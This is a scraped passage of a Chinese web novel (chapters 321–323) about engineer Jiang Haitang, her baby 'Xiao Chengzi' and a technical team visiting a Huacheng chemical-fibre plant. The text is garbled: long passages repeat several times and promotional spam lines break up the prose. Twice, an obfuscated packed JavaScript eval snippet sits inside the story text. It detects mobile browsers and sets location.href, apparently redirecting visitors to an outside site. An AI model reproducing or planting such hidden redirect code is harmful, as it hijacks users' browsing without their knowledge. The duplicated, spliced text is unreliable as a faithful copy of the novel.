姜海棠连忙轻轻拍着儿子的背安抚:“哦哦,小橙子不哭不哭,李伯伯不是坏人……” 陈老忍着笑,打趣道:“兴海啊,你看你,长得太严肃,把孩子都吓哭了。” 这话当然是哄人的,陆家的几位,脸一个比一个严肃,这小家伙估计都看习惯了,唯一的可能就是,这小家伙不喜欢李兴海。 果然是陆家的娃,贼精贼精的! 李兴海窘迫,进也不是退也不是,嘟囔了一句:“我……我长得有那么吓人吗?” 他自认虽然不算英俊,但也是堂堂正正的相貌,怎么就把孩子吓哭了? 为了不让小橙子继续哭,李兴海只能努力挤出一抹自觉比较和蔼的笑容来。 这时,张建国和云志浩听到动静也过来看热闹,见到李兴海这吃瘪的样子,都忍不住偷笑。 小橙子哭了几声,在妈妈的安抚下渐渐止住了哭声,但还时不时抽噎一下,偶尔怯生生地瞄一眼李兴海,那小模样委屈极了。 李兴海被这小眼神看得,那点不满和尴尬倒是散了不少,反而生出点莫名其妙的愧疚感来。 他觉得自己这么大一个人,把人家孩子给搞哭了,感觉有点欺负人。 他摸了摸鼻子,难得放软了语气:“咳……那什么……我没想吓他。” 小赵机灵,赶紧打圆场:“李工,小孩儿认生,正常的正常的。小橙子,看赵叔叔这里,叔叔给你变个魔术!” 接下来一个多月的时间,大家都是要在一起打交道的,关系可不能弄僵了。 说着他笨拙地做了个鬼脸,想逗孩子笑。 小橙子看着小赵奇怪的表情,愣了几秒,然后……“咯咯咯”地笑了起来,还挥舞着小手,似乎觉得很有趣。 这下对比更明显了。 李兴海的脸更黑了,合着就他吓人? 到底是谁欺负谁啊! 陈老,您还挺有闲心哄孩子。” 语气里的那点不以为然,还是能听出来。 陈老还没说话,小橙子似乎感觉到了什么,忽然扭过头,看向门口的李兴海。 小家伙眨巴着大眼睛,盯着李兴海看了几秒,然后……毫无预兆地,小嘴一瘪,“哇”的一声哭了起来,还把头埋进了妈妈怀里,好像被吓到了一样。 李兴海:“……” 他顿时尴尬地僵在原地,脸都涨红了。 他啥也没干啊!这臭小子什么意思? 姜海棠连忙轻轻拍着儿子的背安抚:“哦哦,小橙子不哭不哭,李伯伯不是坏人……” 陈老忍着笑,打趣道:“兴海啊,你看你,长得太严肃,把孩子都吓哭了。” 这话当然是哄人的,陆家的几位,脸一个比一个严肃,这小家伙估计都看习惯了,唯一的可能就是,这小家伙不喜欢李兴海。 果然是陆家的娃,贼精贼精的! 李兴海窘迫,进也不是退也不是,嘟囔了一句:“我……我长得有那么吓人吗?” 他自认虽然不算英俊,但也是堂堂正正的相貌,怎么就把孩子吓哭了? 为了不让小橙子继续哭,李兴海只能努力挤出一抹自觉比较和蔼的笑容来。 这时,张建国和云志浩听到动静也过来看热闹,见到李兴海这吃瘪的样子,都忍不住偷笑。 小橙子哭了几声,在妈妈的安抚下渐渐止住了哭声,但还时不时抽噎一下,偶尔怯生生地瞄一眼李兴海,那小模样委屈极了。 李兴海被这小眼神看得,那点不满和尴尬倒是散了不少,反而生出点莫名其妙的愧疚感来。 他觉得自己这么大一个人,把人家孩子给搞哭了,感觉有点欺负人。 他摸了摸鼻子,难得放软了语气:“咳……那什么……我没想吓他。” 小赵机灵,赶紧打圆场:“李工,小孩儿认生,正常的正常的。小橙子,看赵叔叔这里,叔叔给你变个魔术!” 接下来一个多月的时间,大家都是要在一起打交道的,关系可不能弄僵了。 说着他笨拙地做了个鬼脸,想逗孩子笑。 小橙子看着小赵奇怪的表情,愣了几秒,然后……“咯咯咯”地笑了起来,还挥舞着小手,似乎觉得很有趣。 这下对比更明显了。 李兴海的脸更黑了,合着就他吓人? 到底是谁欺负谁啊! 第321章 话痨小橙子 陈老哈哈大笑道:“看来我们小橙子眼光独到,喜欢和气的,不喜欢板着脸的。 说着,陈老还意味深长地看了一眼李兴海。 李兴海这个人,其实是有些本事的,可是,大男子主义十分严重,看不起女人。 他认为女人就应该在家相夫教子,而不是在外面抛头露面。 以前,没有姜海棠出现,陈老觉得,他这样,也无伤大雅,可是,姜海棠出现了,李兴海的这点毛病就显得有些刺眼了。 李兴海被陈老看了一眼,却又觉得委屈,明明自己也没做什么,为什么这么看自己? 总之,李兴海觉得无趣,就回到了自己所在的包厢。 其他两个人看着李兴海这样,都没有说话,主要是也不知道怎么说。 对于姜海棠加入小组这个事,他们倒是想过,能参加进来的,肯定不是一般人,何况,这位虽然是女同志,但是得过科技创新奖啊,那肯定也是有两把刷子的。 二人只是对于姜海棠竟然带着孩子出行的这个行为有所不满,并不是看不上姜海棠,这一点和李兴海还是不同的。 他们两个没有跟着李兴海回到包厢里,反而逗着小橙子一起玩。 小橙子年纪小,但是显然具有话痨本色,咿咿呀呀地和几个人聊天聊得很开心。 两个人对于小橙子一个小孩子加入队伍,也不再那样排斥了。 李兴海一个人躺在隔壁,心里越来越憋闷,但又拉不下脸主动去找他们。 接下来的旅程里,李兴海偶尔经过姜海棠他们的包厢,会下意识地看看小橙子是不是醒着。 毕竟,跟一个啥都不懂的奶娃娃较劲,也太掉份儿了。 要是小橙子醒着醒着,还会别扭地试图做个笑脸,只是他自己并不知道,这种不是发自内心的笑容是多么的别扭,甚至看起来有点吓人。 因此,小橙子每次看到他,还是会下意识地往妈妈怀里缩,让李兴海很是挫败。 小橙子很快反倒是和温和的张建国、笑眯眯的云志浩以及总是逗他玩的小赵熟悉起来,看到他们会咿咿呀呀地打招呼,甚至伸出胖乎乎的小手让他们抱一抱。 火车继续向南奔驰,窗外的农田变得越来越规整,水网密布,与北方的粗犷截然不同。 小橙子的适应能力出乎意料的好,除了偶尔因为流口水、因为长期在火车里烦躁哼唧几声外,大部分时间都是个快乐的“旅行家。 小何的细心周到赢得了所有人的称赞。 你的朋友正在书荒,快去帮帮他吧 她不仅将小橙子照顾得妥妥帖帖,还主动承担起一些公共事务,比如给大家打热水、分享她自制的耐存放的饼子小菜。 她的勤劳和善良,让原本对她身份有些轻视的几位工程师也渐渐改变了态度。 这天下午,陈老正和姜海棠讨论一份复杂的德文工艺流程图,小橙子睡醒了,在小何怀里哼哼唧唧地扭动。 姜海棠正要起身,陈老却摆摆手,示意她继续。 “香草同志,把孩子抱过来我瞧瞧。”陈老笑着说道。 小何虽然疑惑,陈老这是什么意思,但还是忙把小橙子抱到陈老铺位边。 陈老放下图纸,接过孩子,熟练地抱在怀里颠了颠。 “哎呦,我们小橙子是不是又沉了?真是个壮实的小伙子!” 小橙子似乎很喜欢这个爷爷,被他抱着也不认生,反而伸出小手去抓陈老胸前的钢笔,小嘴巴还咿咿呀呀地说着什么,似乎是在说想要想要! 陈老也不恼,笑呵呵地把钢笔帽摘下来给他玩,继续对姜海棠说:“你看这个回流装置的设计,和我们在金城改进的那台有异曲同工之妙,但它的控制系统更精巧……” 姜海棠一边听着,一边飞快地记录,目光不时落在儿子和陈老互动的手上,嘴角带着柔和的笑意。 这一刻,工作与生活奇异地融合在一起,竟显得格外和谐。 瞧见儿子适应良好,姜海棠的心思也更多地放在了工作上。 她十分认真地记录笔记比对资料,对陈老说:“陈老,关于牵伸机的传动部分,我昨晚又核对了一下德文原版说明书,发现中文翻译稿里有一处数据偏差,可能影响精度校准,您看看这里……” 她很快进入了工作状态,与陈老低声讨论起来,专业术语信手拈来,分析的条理清晰。 原本对姜海棠带着孩子工作心存疑虑的李兴海,看到包厢里姜海棠专注工作的侧影和陈老频频点头的样子,不由愣了一下。 又听到她流利地说出那些自己都一知半解的术语和技术参数,脸上的轻视慢慢变成了惊讶,最后甚至带上了一丝不易察觉的佩服。 他忽然之间发现,眼前这个被他看不起的女人,可能比他想的要更加厉害。 是不是一直以来,他所以为的女人只能在家相夫教子是有些问题的? 站着听了很久,陈老虽然看见了,但并没有开口,只是一手抱着小橙子,一面和姜海棠讨论。 终于,李兴海忍不住了,他清了清嗓子,主动开口:“陈老,姜工,关于那 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 个温度控制参数,我有点想法……” 他的语气平和了许多,不再是带着挑剔的口吻,而是认认真真地讨论。 姜海棠立刻抬起头,认真地听他说完,然后提出了自己的见解。 一场专业的技术讨论就在婴儿咿咿呀呀的背景音中展开了。 张建国和云志浩也被吸引过来,加入了讨论。 小橙子似乎被大人们严肃又热烈的气氛感染了,也不玩钢笔帽了,睁着大眼睛安静地听着,偶尔发出一个单音,好像在发表意见似的。 “哎呀,这个小家伙也要发表看法呢,只可惜我们都听不懂他说的。”陈老笑得前仰后合的说着。 小橙子可不知道这个爷爷在笑什么,也拍着小巴掌笑得更加欢快,嘴里都冒出泡泡了。 大家看到这样的可爱的小橙子,都忍俊不禁。 小赵干事趁机拿出相机,咔嚓一声,记录下了这难得的一刻。 德高望重的老专家怀里抱着奶娃娃,一群技术骨干围在一起热烈讨论,气氛活泼又热烈,窗外是飞速掠过的南国田野。 “这张照片好!等洗出来我要珍藏!”小赵兴奋地说。 小橙子又开始和小赵对话了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263144|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>小赵哈哈笑着说道:“这句我听懂了,他也要珍藏。” 众人又是哈哈大笑起来。 李兴海这时候才发现,这一次的旅行,因为有了小橙子这个“调和剂”,气氛明显和以往都有一些不一样。 他发现自己竟然有点习惯,甚至,连小橙子把手中的口水巾丢到身上的时候,李兴海都没有不耐烦。 他张嘴想说一句什么,但看着小橙子那无辜又期待的大眼睛,他憋了半天,最后还是认命地弯腰捡起来,递给小何,嘴里嘟囔着:“这小子……准头还挺好。” 原本以为这只是偶尔出现的情况,谁知道,这简直成了小家伙的新技能。 他玩着玩着,就会突然把手里的软布口水巾扔出去,而且大部分时间都是朝着李兴海的方向。 偶尔也会丢给别人,看着其他人将口水巾拿过来给自己,小橙子就会开心的不得了。 其他人忙碌之余,也会笑着猜测小橙子下一次会把口水巾扔给谁。 李兴海接到口水巾的时候,眼底无奈里,也隐隐带上了一丝连他自己都没察觉的纵容。 姜海棠除了照顾孩子和休息,大部分时间都在阅读资料、做笔记,或是与陈老交流。 她的勤奋和专业能力,渐渐打消了所有人心中的那点疑虑 听说看这本书的人都是很幸运的,分享后你的运气会更棒 。 尤其是从一开始看不起他的李兴海,到了第三天的时候,对姜海棠已经是心悦诚服了。 火车轰隆隆向南行驶,车厢里,婴儿的咿呀声、大人的谈笑声、以及陈老不时考较姜海棠技术问题的讨论声交织在一起,构成了一幅独特而又充满生机的旅途画卷。 终于,火车鸣着长笛,缓缓驶入了终点站花城火车站。 陈老抱着小橙子,对姜海棠和小何笑道:“这一路,有小橙子在,倒是添了不少乐趣。咱们的小福星到站了!” 姜海棠接过儿子,心里充满了感激。 她原本担心带孩子出差会遇到很多困难和不便,却没想到儿子的存在,反而让这段漫长的旅途变得温暖而生动起来。 她亲了亲儿子的小脸蛋,轻声道:“小橙子,我们到啦,要开始新的工作啦!” 小家伙仿佛听懂了似的,挥舞着小拳头,发出兴奋的“啊啊啊”声,像是在为妈妈加油鼓劲。 车门打开,湿热的风涌入车厢,预示着一段新经历的开启。 一行人拿着行李走下火车,花城灼热的阳光和充满活力的喧嚣扑面而来,都觉得很新奇。 花城姜海棠来过两次,并不觉得陌生。 她甚至都没有考虑,就背着包抱着小橙子轻车熟路地朝着出站口的方向走。 “姜工,你认识路?”还在辨别方向的李兴海看到了,忍不住问。 “以前来过两次,我记性不错,就记住了。”姜海棠淡然说道。 “海棠啊,你以前来是参加广交会的?”陈老其实是知道姜海棠这些情况的,但现在却专门提出来。 几个人显然都没有想到,姜海棠竟然是参加广交会才来的花城。 广交会的名额可不是轻易能得到的,能来参加的,差不多都是佼佼者。 第322章 不打不相识 不过,想到姜海棠如此年轻就能拿到科技创新奖,又觉得很正常。 “你们几个还不知道吧,海棠同志,可不光是纺织机械方面的专家,而且还是个非常不错的翻译。当初,海棠同志可是在广交会上留下了浓墨重彩的一笔。” 姜海棠来自西北,大家都是知道的,对于西北,他们从骨子里其实是有些看不起的,毕竟那地方是真的落后。 陈老看了一眼几个人,接着说:“海棠同志第一次参加广交会,一个人帮着两个厂子拿下了好几笔大额订单,一举改变了两个厂子面临的窘迫局面。她的外语水平很不错,非常专业,外交能力也不错,也是在广交会上,周副部长慧眼识英才,认为她是难得的人才。” 几个人听着陈老的介绍,看着姜海棠的眼神又有所不同了。 他们几个搞专业还行,但是在别的方面是真的不太行。 “海棠同志,你真是太厉害了,没想到还懂外语。” 姜海棠只是笑着谦虚了几句,就带着众人朝着出站口走去。 他们在出站口看到了接待单位的牌子。 接待单位安排得井井有条,直接将他们送到了厂招待所。 花城化纤厂的招待所是一栋新建的三层小楼,比不上花城宾馆气派,但干净整洁,透着一种务实的气息。 厂里安排了四个房间,陈老单独一间,姜海棠、小何和小橙子一间,另外三位男工程师和小赵干事挤在两间。 姜海棠原本打算自己单独花钱再开一间,但厂方工作人员说,单独开一间,她也是一个人住,不如和孩子在一起也方便。 其实,厂方工作人员也很意外,这一次来的这位女同志,不光带着孩子,还带了一个照顾孩子的亲戚一起。 他们也是从来没有见过的这样的情况。 不过,因为一行人里只有姜海棠一个女同志,安排起来也没什么不方便。 姜海棠只能接受了厂方的好意。 放下行李,简单洗漱后,厂方的接待人员就来了。 接待他们的人是一位姓林的副厂长和技术科的刘科长。 寒暄过后,林厂长热情地介绍了厂里的情况和这几天的安排。 “各位专家一路辛苦!我们厂是国家重点引进项目,这套D国设备刚安装调试完毕,正处于试生产阶段,正好需要各位专家给我们把关指导!”林厂长语气热切。 这是一套新机器,听说,国外的有些企业将设备出口的时候,会刻意的将其中部分参数变一下,导致 机械设备问题频发,不得不一次又一次地请他们来处置,这样又要付出不少的外汇。 要是这一次来的专家们能帮忙处理这个问题就好了,可以避免许多麻烦。 陈老代表大家和林厂长寒暄客气了几句。 林厂长又说:“陈老,招待所条件简陋,但住在其他地方,离我们厂实在是远,不周到的地方,还请多包涵。” “哪里哪里,林厂长太客气了,这住宿条件很不错了。” “食堂已经准备好了便饭,咱们边吃边聊?我们还有很多疑惑要请教。”林厂长显然是知道陈老地位的,因此对陈老说话的时候,十分客气。 晚饭就在厂食堂的小包间里。 饭菜不算丰盛,但很有南方特色,清蒸鱼、白切鸡、炒青菜,还有一盆老火靓汤。 小何细心地先喂饱了小橙子,才自己快速吃了些。 饭桌上,话题自然围绕着引进的设备展开。 林厂长和刘科长介绍着引进的艰辛和试生产中遇到的一些问题,语气中充满了期盼。 陈老作为领队,代表小组说了些鼓励和肯定的话。 在纺织厂干过,姜海棠很清楚知道他们现在所面临的困境。 她听得十分专注,偶尔会用D语确认一下设备型号或专业术语的准确性,让刘科长眼前一亮。 对于这次来了一个女同志,还是带着孩子女同志这件事,厂里其实是有点疑惑和不解的。 国内专家虽然少,但并不至于缺少到必须要让一个还在奶孩子的妇女来吧? 不过,对方既然来了,他们还是认真对待,现在听着姜海棠说的这些,才惊讶发现,可能这一行人里,最厉害的就是这位女同志了。 如果是这样,那就能理解为什么陈老要带着一个抱着孩子的女同志一起了。 林厂长和刘科长都是聪明人,意识到问题的关键之后,对姜海棠的态度也恭敬了许多。 李兴海、张建国、云志浩也分别从自己的专业角度提了些问题。 气氛融洽而专业。 晚饭即将结束的时候,厂长到了。 厂长是一位五十多岁的中年人,名叫万沙鸥。 方厂长见到姜海棠的时候,先是愣了一下,却并没有说话,而是先给陈老打招呼。 等和陈老握手之后,陈老给方厂长介绍了一下自己带着的几个人。 方厂长哈哈笑着说道:“我刚才就说,这位女同志看着好眼熟,但又觉得应该不是,才没有主动打招呼。” 姜海棠也认出了方厂长,两个人之前在广交会的时候,确实有一面之缘,当初,有个外商在两个厂的布料之间徘徊,最后是姜海棠凭着专业素养抢走了这笔订单。 陈老好奇问:“方厂长认识海棠同志?” “认识认识,我们算是不打不相识,当初,海棠同志可是从我们厂手里抢走了好大一笔订单。” 姜海棠这时候有些不好意思了,笑着说道:“我还要感谢方厂长相让,得罪之处,请方厂长多多海涵。” “无妨无妨,我也不是斤斤计较的人,我们当时是竞争关系,你没做错。”方厂长爽朗的笑着说。 当时,他其实都动过要把人挖过来的想法,只不过,打听到这位女同志和纺织厂厂长的关系之后,才歇了这个心思。 只是没想到,这次,这位海棠同志竟然是以专家组的身份来了厂里。 但他不会多事问姜海棠的身份为什么会变化。 “不过,这一次,我们厂里的项目,还要海棠同志鼎力相助啊。”方厂长客客气气的说道。 几个人又说了一会儿话,时间不早了,想了几个人在火车上好几天时间,累坏了,方厂长带着林厂长送他们回招待所。 等到了招待所,一个现实的问题摆在了面前。南方天气湿热,蚊虫也多。 小橙子细皮嫩肉,很快就被叮了几个红疙瘩,痒得哼哼唧唧。 小何急得不行,带来的蚊帐在火车上还好,招待所的床铺却不配套,挂不起来。 她只好不停地用扇子给孩子驱赶蚊虫。 姜海棠看着心疼,对方厂长不好意思地说:“方厂长,真是不好意思,能不能麻烦厂里帮忙找个旧蚊帐或者一些纱窗料?孩子太小,怕受不了。” 这是她私人的问题,现在却要麻烦厂里,姜海棠是真的不好意思。 方厂长一拍脑袋说:“这是我们的失误,林厂长,你抓紧时间联系一下后勤,给几位同志都准备蚊帐送过来,我们这地方,蚊虫多,你们可能不太适应。” 李兴海在一旁想说不用了,不用这么麻烦,但看到姜海棠蹙眉心疼的样子和小橙子胳膊上的红点,那些话又咽了回去。 他甚至下意识地挥了挥手,帮着自己周围也驱赶了一下并不存在的蚊子。 过了一会儿,果然就有人送了蚊帐过来,还贴心地带了几瓶清凉油。 “这清凉油止痒效果很好,给孩子轻轻擦点。”送蚊帐过来的女同志很客气。 姜海棠连声道谢,在招待所工作人员 的帮助下,把蚊帐支棱了起来。 又给小橙子涂了点清凉油,小家伙似乎舒服了些,慢慢睡着了。 张建国感慨道:“这小家伙,一路上乖巧懂事,到了这里,吃亏了!” 云志浩也点头:“是啊,带孩子出门,不容易。” 第二天,真正的技术交流研讨工作正式开始。 小何不用跟着过来,就带着小橙子在招待所里。 小家伙显然是舍不得妈妈的,咿咿呀呀地想跟着。 姜海棠狠狠心还是交代了小何几句,转身离开了。 车间里机器轰鸣,温度也比外面高不少。 姜海棠几个人则是大部分时间都需要跟着团队在生产线旁穿梭。 D国专家在现场进行调试讲解,她快速阅读设备上的标识和随机资料,并实时将关键信息精准地翻译、解释给陈老、李工、张工、云工几个人听,并参与技术讨论和记录。 汗水很快湿透了她的后背,额前的碎发也粘在了皮肤上。 但她始终全神贯注,笔记本上密密麻麻记满了要点。 她的翻译不仅准确,常常还能结合自己在西北的技术实践,提出更贴合国内实际的理解和建议,让几位工程师和厂方技术人员都获益匪浅。 她这样的工作态度,几位男同志都觉得敬佩。 几个人私下里说着,难怪人家年纪轻轻就能有如此成就,光是这份努力,就是别人所不能达到的。 几个人的工作态度比起之前,也更加认真了起来。 的帮助下,把蚊帐支棱了起来。 又给小橙子涂了点清凉油,小家伙似乎舒服了些,慢慢睡着了。 张建国感慨道:“这小家伙,一路上乖巧懂事,到了这里,吃亏了!” 云志浩也点头:“是啊,带孩子出门,不容易。” 第二天,真正的技术交流研讨工作正式开始。 小何不用跟着过来,就带着小橙子在招待所里。 小家伙显然是舍不得妈妈的,咿咿呀呀地想跟着。 姜海棠狠狠心还是交代了小何几句,转身离开了。 车间里机器轰鸣,温度也比外面高不少。 姜海棠几个人则是大部分时间都需要跟着团队在生产线旁穿梭。 D国专家在现场进行调试讲解,她快速阅读设备上的标识和随机资料,并实时将关键信息精准地翻译、解释给陈老、李工、张工、云工几个人听,并参与技术讨论和记录。 汗水很快湿透了她的后背,额前的碎发也粘在了皮肤上。 但她始终全神贯注,笔记本上密密麻麻记满了要点。 她的翻译不仅准确,常常还能结合自己在西北的技术实践,提出更贴合国内实际的理解和建议,让几位工程师和厂方技术人员都获益匪浅。 她这样的工作态度,几位男同志都觉得敬佩。 几个人私下里说着,难怪人家年纪轻轻就能有如此成就,光是这份努力,就是别人所不能达到的。 几个人的工作态度比起之前,也更加认真了起来。 的帮助下,把蚊帐支棱了起来。 又给小橙子涂了点清凉油,小家伙似乎舒服了些,慢慢睡着了。 张建国感慨道:“这小家伙,一路上乖巧懂事,到了这里,吃亏了!” 云志浩也点头:“是啊,带孩子出门,不容易。” 第二天,真正的技术交流研讨工作正式开始。 小何不用跟着过来,就带着小橙子在招待所里。 小家伙显然是舍不得妈妈的,咿咿呀呀地想跟着。 姜海棠狠狠心还是交代了小何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263145|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几句,转身离开了。 车间里机器轰鸣,温度也比外面高不少。 姜海棠几个人则是大部分时间都需要跟着团队在生产线旁穿梭。 D国专家在现场进行调试讲解,她快速阅读设备上的标识和随机资料,并实时将关键信息精准地翻译、解释给陈老、李工、张工、云工几个人听,并参与技术讨论和记录。 汗水很快湿透了她的后背,额前的碎发也粘在了皮肤上。 但她始终全神贯注,笔记本上密密麻麻记满了要点。 她的翻译不仅准确,常常还能结合自己在西北的技术实践,提出更贴合国内实际的理解和建议,让几位工程师和厂方技术人员都获益匪浅。 她这样的工作态度,几位男同志都觉得敬佩。 几个人私下里说着,难怪人家年纪轻轻就能有如此成就,光是这份努力,就是别人所不能达到的。 几个人的工作态度比起之前,也更加认真了起来。 的帮助下,把蚊帐支棱了起来。 又给小橙子涂了点清凉油,小家伙似乎舒服了些,慢慢睡着了。 张建国感慨道:“这小家伙,一路上乖巧懂事,到了这里,吃亏了!” 云志浩也点头:“是啊,带孩子出门,不容易。” 第二天,真正的技术交流研讨工作正式开始。 小何不用跟着过来,就带着小橙子在招待所里。 小家伙显然是舍不得妈妈的,咿咿呀呀地想跟着。 姜海棠狠狠心还是交代了小何几句,转身离开了。 车间里机器轰鸣,温度也比外面高不少。 姜海棠几个人则是大部分时间都需要跟着团队在生产线旁穿梭。 D国专家在现场进行调试讲解,她快速阅读设备上的标识和随机资料,并实时将关键信息精准地翻译、解释给陈老、李工、张工、云工几个人听,并参与技术讨论和记录。 汗水很快湿透了她的后背,额前的碎发也粘在了皮肤上。 但她始终全神贯注,笔记本上密密麻麻记满了要点。 她的翻译不仅准确,常常还能结合自己在西北的技术实践,提出更贴合国内实际的理解和建议,让几位工程师和厂方技术人员都获益匪浅。 她这样的工作态度,几位男同志都觉得敬佩。 几个人私下里说着,难怪人家年纪轻轻就能有如此成就,光是这份努力,就是别人所不能达到的。 几个人的工作态度比起之前,也更加认真了起来。 的帮助下,把蚊帐支棱了起来。 又给小橙子涂了点清凉油,小家伙似乎舒服了些,慢慢睡着了。 张建国感慨道:“这小家伙,一路上乖巧懂事,到了这里,吃亏了!” 云志浩也点头:“是啊,带孩子出门,不容易。” 第二天,真正的技术交流研讨工作正式开始。 小何不用跟着过来,就带着小橙子在招待所里。 小家伙显然是舍不得妈妈的,咿咿呀呀地想跟着。 姜海棠狠狠心还是交代了小何几句,转身离开了。 车间里机器轰鸣,温度也比外面高不少。 姜海棠几个人则是大部分时间都需要跟着团队在生产线旁穿梭。 D国专家在现场进行调试讲解,她快速阅读设备上的标识和随机资料,并实时将关键信息精准地翻译、解释给陈老、李工、张工、云工几个人听,并参与技术讨论和记录。 汗水很快湿透了她的后背,额前的碎发也粘在了皮肤上。 但她始终全神贯注,笔记本上密密麻麻记满了要点。 她的翻译不仅准确,常常还能结合自己在西北的技术实践,提出更贴合国内实际的理解和建议,让几位工程师和厂方技术人员都获益匪浅。 她这样的工作态度,几位男同志都觉得敬佩。 几个人私下里说着,难怪人家年纪轻轻就能有如此成就,光是这份努力,就是别人所不能达到的。 几个人的工作态度比起之前,也更加认真了起来。 的帮助下,把蚊帐支棱了起来。 又给小橙子涂了点清凉油,小家伙似乎舒服了些,慢慢睡着了。 张建国感慨道:“这小家伙,一路上乖巧懂事,到了这里,吃亏了!” 云志浩也点头:“是啊,带孩子出门,不容易。” 第二天,真正的技术交流研讨工作正式开始。 小何不用跟着过来,就带着小橙子在招待所里。 小家伙显然是舍不得妈妈的,咿咿呀呀地想跟着。 姜海棠狠狠心还是交代了小何几句,转身离开了。 车间里机器轰鸣,温度也比外面高不少。 姜海棠几个人则是大部分时间都需要跟着团队在生产线旁穿梭。 D国专家在现场进行调试讲解,她快速阅读设备上的标识和随机资料,并实时将关键信息精准地翻译、解释给陈老、李工、张工、云工几个人听,并参与技术讨论和记录。 汗水很快湿透了她的后背,额前的碎发也粘在了皮肤上。 但她始终全神贯注,笔记本上密密麻麻记满了要点。 她的翻译不仅准确,常常还能结合自己在西北的技术实践,提出更贴合国内实际的理解和建议,让几位工程师和厂方技术人员都获益匪浅。 她这样的工作态度,几位男同志都觉得敬佩。 几个人私下里说着,难怪人家年纪轻轻就能有如此成就,光是这份努力,就是别人所不能达到的。 几个人的工作态度比起之前,也更加认真了起来。 第323章 长脸了 花城化纤厂的车间如同一个巨大的蒸笼,闷热潮湿,机器的轰鸣声震耳欲聋。 姜海棠穿着厚实的工作服,汗水早已浸透后背,但她仿佛毫无察觉,全部心神都沉浸在那庞大的进口设备和复杂的图纸资料中。 姜海棠在高强度的工作状态下,只要有休息间隙,也会去招待所里看看小橙子,偶尔小何也会带着小橙子在外面等着姜海棠。 李兴海喝水休息的时候,看着抱着孩子的姜海棠,忍不住对旁边的张建国说:“说实话,以前真没想到,女同志能干这么专业的活儿,还能干得这么好……” “比我们优秀的人还比我们努力,除了更加认真努力,我们还能怎么样?”云志浩正好听到了他这个话,忍不住插嘴。 张建国深有同感:“是啊,姜工这外语水平和技术理解力,没得说。咱们以前是有点狭隘了。” 陈老也正在休息,听着他们的对话,脸上露出欣慰的笑容。 果然,带着姜海棠来,是完全合适的,也让这几个都知道知道,人外有人,山外有山。 几天下来,姜海棠以扎实的专业能力、吃苦耐劳的精神和难以企及的外语优势,彻底赢得了所有人的尊重。 她不是那个“带着孩子的女同志”,而是技术交流小组里不可或缺的核心成员。 经过了几天的前期准备工作之后,他们正式投入到此次的核心工作中。 巨大的厂房里,崭新的进口设备正在安装调试,机器轰鸣,温度也高。 姜海棠的任务极其繁重,她需要紧跟厂方D国专家的讲解,同时也要快速阅读设备上密密麻麻的德文标识和厚厚的说明书。 D国专家霍夫曼先生是个严谨甚至有些刻板的老头,语速很快,带着浓重的口音。 厂里配备的翻译是个年轻姑娘,对很多专业术语把握得并不精准。 这样就会让大家对关键信息的立即出现偏差,姜海棠必须要高度集中,才能实时将关键信息翻译、解释给并不熟悉D国语言的李工、张工、云工听。 高温和噪音让人头晕脑胀,但姜海棠始终保持着高度的专注。 她的翻译不仅准确,还能结合自己的技术背景进行阐释。 霍夫曼先生指着控制面板上的一个参数,激动地比划着。 年轻翻译有些紧张,磕磕巴巴地说:“他说……这个数值不对……不是这样设定的……” 姜海棠立刻上前一步,目光扫过屏幕和手中的德文原版手册,笑着给大家翻译。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “霍夫曼先生的意思是这个预热温度的设定基准值参考的是他们国内某种特定规格的原料我们需要根据我们实际使用的原料熔点特性。” “在这个基准值上向下修正百分之三到五否则会导致原料在预熔阶段过度氧化影响后续纺丝质量。” 她不仅翻译准确 霍夫曼先生听完连连点头紧绷的脸色缓和下来对着姜海棠竖起大拇指。 李兴海、张建国等人立刻围拢过来对照图纸和手册结合姜海棠的解释迅速理解了问题所在。 等将问题都了解清楚之后张建国感慨道:“原来如此!这细微的差别说明书上可没写这么清楚要不是姜工咱们得摸索好久还可能走弯路!” 李兴海没说话但看着姜海棠的眼神充满了复杂。 他自诩技术过硬但在这种需要与外方直接进行深度技术沟通的场合他不得不承认姜海棠的作用无可替代。 她那口流利的D语和对技术细节的敏锐把握是他们这几个大老爷们加起来都比不上的。 接下来的几天类似的情况不断发生。 姜海棠就像一座桥梁精准地连接了外方专家、进口设备和中方技术人员。她不仅能翻译更能理解、消化、甚至预判技术关键点。 李兴海等人彻底服气了。 他们发现如果没有姜海棠精准高效的翻译和沟通他们的学习效率将大打折扣甚至可能误解技术要点。 休息间隙李兴海甚至有些不好意思地主动给姜海棠递了瓶汽水:“姜工喝点水歇会儿。今天多亏你了!” 姜海棠笑着接过:“谢谢李工大家是一个团队应该的。” 几个人正说话却见小何抱着孩子急匆匆地过来了。 看着小何的脸色姜海棠忙起身问:“香草姐怎么这时候过来了?” 这个时候应该是小橙子午休的时候。 小橙子一双漂亮的大眼睛看着妈妈没有平日里的活泼有些蔫蔫的。 “小橙子好像有点拉肚子是不是水土不服?”小何不无担心的说道。 姜海棠心里一紧摸了摸儿子的额头还好不烫。 她仔细问了情况又看了看小何准备的辅食判断可能是南方的水质和饮食习惯让小家伙的肠胃不太适应。 “别担心应该问题不大。辅食先停一下只喝奶粉奶粉冲得淡一点。”姜海棠冷静地安排着虽然心 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 疼,但并没有慌乱。 